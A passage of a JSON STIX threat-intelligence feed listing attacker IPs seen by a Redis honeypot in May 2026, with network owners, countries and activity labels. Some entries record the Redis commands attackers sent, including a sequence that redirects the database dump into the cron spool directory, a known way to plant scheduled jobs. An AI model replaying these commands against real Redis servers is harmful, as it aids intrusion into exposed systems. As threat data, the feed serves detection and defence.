      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.9.225.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:25:10.000Z",
      "valid_until": "2026-06-06T04:25:09.000Z"
    },
    {
      "created": "2026-05-05T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--dfddd8d2-fd9d-472b-9a33-5fd3456fb47f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.169.107.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:25:05.000Z",
      "valid_until": "2026-06-06T05:25:04.000Z"
    },
    {
      "created": "2026-05-05T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--476123b0-727d-411b-ae11-feaf2b68ae73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:25:05.000Z",
      "valid_until": "2026-06-06T05:25:04.000Z"
    },
    {
      "created": "2026-05-05T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--08d430fd-0d1e-4038-afbf-30642403a119",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.183.195.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:25:05.000Z",
      "valid_until": "2026-06-06T05:25:04.000Z"
    },
    {
      "created": "2026-05-05T06:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--8e115bc9-59c3-4227-9db3-6dbbb13bf0fc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T06:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.56.220.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:25:04.000Z",
      "valid_until": "2026-06-06T06:25:04.000Z"
    },
    {
      "created": "2026-05-05T09:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=IT; asn=13335; asn_org=Cloudflare, Inc.; redis_cmds=CONFIG GET dir,EVAL local f=load(function() return nil end); return f and 'ok' or 'no' 0; redis_cmd_hits=0; cmd=\"CONFIG GET dir\"",
      "id": "indicator--59bcefb1-31be-42d0-9d8a-7d6e7f1670ef",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-05T09:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.28.162.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:25:18.000Z",
      "valid_until": "2026-06-06T09:25:09.000Z"
    },
    {
      "created": "2026-05-05T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=IT; asn=13335; asn_org=Cloudflare, Inc.; redis_cmds=CONFIG GET dir; redis_cmd_hits=0; cmd=\"CONFIG GET dir\"",
      "id": "indicator--9f452906-760f-444e-a680-465d99ba689b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.28.162.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:25:10.000Z",
      "valid_until": "2026-06-06T10:25:09.000Z"
    },
    {
      "created": "2026-05-05T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--a96ffa2d-ac50-4713-b586-85020d14df8f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:25:10.000Z",
      "valid_until": "2026-06-06T10:25:09.000Z"
    },
    {
      "created": "2026-05-05T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--47d26292-5e83-47a3-b9b0-15a0991a4ba9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:25:10.000Z",
      "valid_until": "2026-06-06T10:25:09.000Z"
    },
    {
      "created": "2026-05-05T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--56947d65-7275-4d19-bbb7-1bae11e77f88",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.136.14.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:25:10.000Z",
      "valid_until": "2026-06-06T11:25:09.000Z"
    },
    {
      "created": "2026-05-05T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c390beb6-0e6a-4ba5-9a2f-6dc10bda804a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '46.101.146.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:25:10.000Z",
      "valid_until": "2026-06-06T11:25:09.000Z"
    },
    {
      "created": "2026-05-05T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=IT; asn=13335; asn_org=Cloudflare, Inc.; redis_cmds=CONFIG GET dir; redis_cmd_hits=0; cmd=\"CONFIG GET dir\"",
      "id": "indicator--1ad83185-1dcf-44d4-931e-d4df0065aef7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.28.155.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:25:11.000Z",
      "valid_until": "2026-06-06T12:25:10.000Z"
    },
    {
      "created": "2026-05-05T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--eacae451-2325-450b-84f4-9bb70b5a2f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.57.181.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:25:11.000Z",
      "valid_until": "2026-06-06T12:25:10.000Z"
    },
    {
      "created": "2026-05-05T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=GB; asn=29302; asn_org=Hosting Services Inc; redis_cmd_hits=0",
      "id": "indicator--45c89899-e269-4e1c-ba11-887904bc1b9b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.185.25.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:25:11.000Z",
      "valid_until": "2026-06-06T12:25:10.000Z"
    },
    {
      "created": "2026-05-05T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--adce401f-6269-4160-b25a-681b103bcd98",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '124.225.69.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:25:10.000Z",
      "valid_until": "2026-06-06T14:25:09.000Z"
    },
    {
      "created": "2026-05-05T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; redis_cmds=CONFIG SET dir /tmp/,config set dbfilename dump.rdb,save,config set dir .,config set dir /var/spool/cron/; redis_cmd_hits=0; cmd=\"config set dbfilename dump.rdb\"",
      "id": "indicator--35aadebf-eed0-482c-81cb-b4413c746d32",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-05T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.137.113.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:25:10.000Z",
      "valid_until": "2026-06-06T14:25:09.000Z"
    },
    {
      "created": "2026-05-05T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=SG; asn=132203; asn_org=Tencent Building, Kejizhongyi Avenue; redis_cmd_hits=0",
      "id": "indicator--53afeb5c-80b9-4a0f-b821-720942feb2c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.134.0.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:25:10.000Z",
      "valid_until": "2026-06-06T14:25:09.000Z"
    },
    {
      "created": "2026-05-05T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--8f41ee61-0e1a-4c6a-af24-d0d590734615",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.31.1.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:25:10.000Z",
      "valid_until": "2026-06-06T15:25:09.000Z"
    },
    {
      "created": "2026-05-05T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--4b82fd94-d160-4274-8198-de36134f7148",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.251.93.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:25:10.000Z",
      "valid_until": "2026-06-06T17:25:08.000Z"
    },
    {
      "created": "2026-05-05T19:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--b2133504-90d6-4eb1-83c3-e0f358962f83",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T19:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.126.20.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:25:05.000Z",
      "valid_until": "2026-06-06T19:25:04.000Z"
    },
    {
      "created": "2026-05-05T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=55; ports=6379; cc=HK; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--27507d99-0ec8-447a-8488-c9ba83306c4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.252.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:25:10.000Z",
      "valid_until": "2026-06-06T20:25:09.000Z"
    },
    {
      "created": "2026-05-05T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--955ea035-8fdc-4455-95f0-64a82cb4e37b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '27.185.41.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:25:10.000Z",
      "valid_until": "2026-06-06T20:25:09.000Z"
    },
    {
      "created": "2026-05-05T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--57e48985-d22c-45b1-a2c9-3480f2843e04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.15.225.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:25:10.000Z",
      "valid_until": "2026-06-06T23:25:09.000Z"
    },
    {
      "created": "2026-05-05T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--d24c39a4-52c4-4960-9fb0-de575ffc38ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.250.52.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:25:10.000Z",
      "valid_until": "2026-06-06T23:25:09.000Z"
    },
    {
      "created": "2026-05-06T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; redis_cmd_hits=0",
      "id": "indicator--45c3dbd6-711c-4bcf-b379-82a5767c3327",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:25:11.000Z",
      "valid_until": "2026-06-07T00:25:10.000Z"
    },
    {
      "created": "2026-05-06T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--d7e4ed83-6b2f-48d3-a294-0e5c7f644613",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '182.92.181.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:25:10.000Z",
      "valid_until": "2026-06-07T01:25:09.000Z"
    },
    {
      "created": "2026-05-06T03:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--60e608f4-fe3e-4069-bcf2-df607a3f398d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T03:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.12.184.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:25:13.000Z",
      "valid_until": "2026-06-07T03:25:09.000Z"
    },
    {
      "created": "2026-05-06T03:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=75; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:25:13.000Z",
      "valid_until": "2026-06-07T03:25:09.000Z"
    },
    {
      "created": "2026-05-06T04:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FR; asn=43350; asn_org=NForce Entertainment B.V.; redis_cmd_hits=0",
      "id": "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T04:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.107.80.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:25:02.000Z",
      "valid_until": "2026-06-07T04:25:01.000Z"
    },
    {
      "created": "2026-05-06T04:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--60992cad-71b1-4607-a403-316bce431b8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:25:02.000Z",
      "valid_until": "2026-06-07T04:25:01.000Z"
    },
    {
      "created": "2026-05-06T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--9846c45c-98eb-4aac-9eb5-5582c69beca3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.48.174.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:25:10.000Z",
      "valid_until": "2026-06-07T06:25:09.000Z"
    },
    {
      "created": "2026-05-06T08:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--2a382b6c-13d3-45ed-a704-0047641db63b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T08:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.13.124.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:25:15.000Z",
      "valid_until": "2026-06-07T08:25:09.000Z"
    },
    {
      "created": "2026-05-06T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=56042; asn_org=China Mobile communications corporation; redis_cmd_hits=0",
      "id": "indicator--2edd28f9-b6aa-4f8d-ab61-4ea4638332f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '221.180.47.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:25:10.000Z",
      "valid_until": "2026-06-07T09:25:09.000Z"
    },
    {
      "created": "2026-05-06T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--60691cf4-fb87-4509-94dc-9d3fa7f8d8d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '4.156.218.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:25:10.000Z",
      "valid_until": "2026-06-07T11:25:09.000Z"
    },
    {
      "created": "2026-05-06T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--51133b72-ae9b-49e9-a894-4893e40a069c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:25:10.000Z",
      "valid_until": "2026-06-07T11:25:09.000Z"
    },
    {
      "created": "2026-05-06T12:25:23.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--65c4aff5-a398-49d6-abe7-56bf400776a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T12:25:23.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.103.40.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T12:25:23.000Z",
      "valid_until": "2026-06-07T12:25:08.000Z"
    },
    {
      "created": "2026-05-06T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--4e13e172-542e-44cc-8ad8-f239507216b2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:25:11.000Z",
      "valid_until": "2026-06-07T13:25:10.000Z"
    },
    {
      "created": "2026-05-06T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=NL; asn=48090; asn_org=Techoff Srv Limited; redis_cmd_hits=0",
      "id": "indicator--9022f3ed-5a7f-4268-920e-1a5493e64cf5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:25:10.000Z",
      "valid_until": "2026-06-07T14:25:09.000Z"
    },
    {
      "created": "2026-05-06T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=MY; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--e96118ce-0df1-44df-a9fa-07a791085fe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.250.81.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:25:10.000Z",
      "valid_until": "2026-06-07T14:25:09.000Z"
    },
    {
      "created": "2026-05-06T15:25:09.000Z",
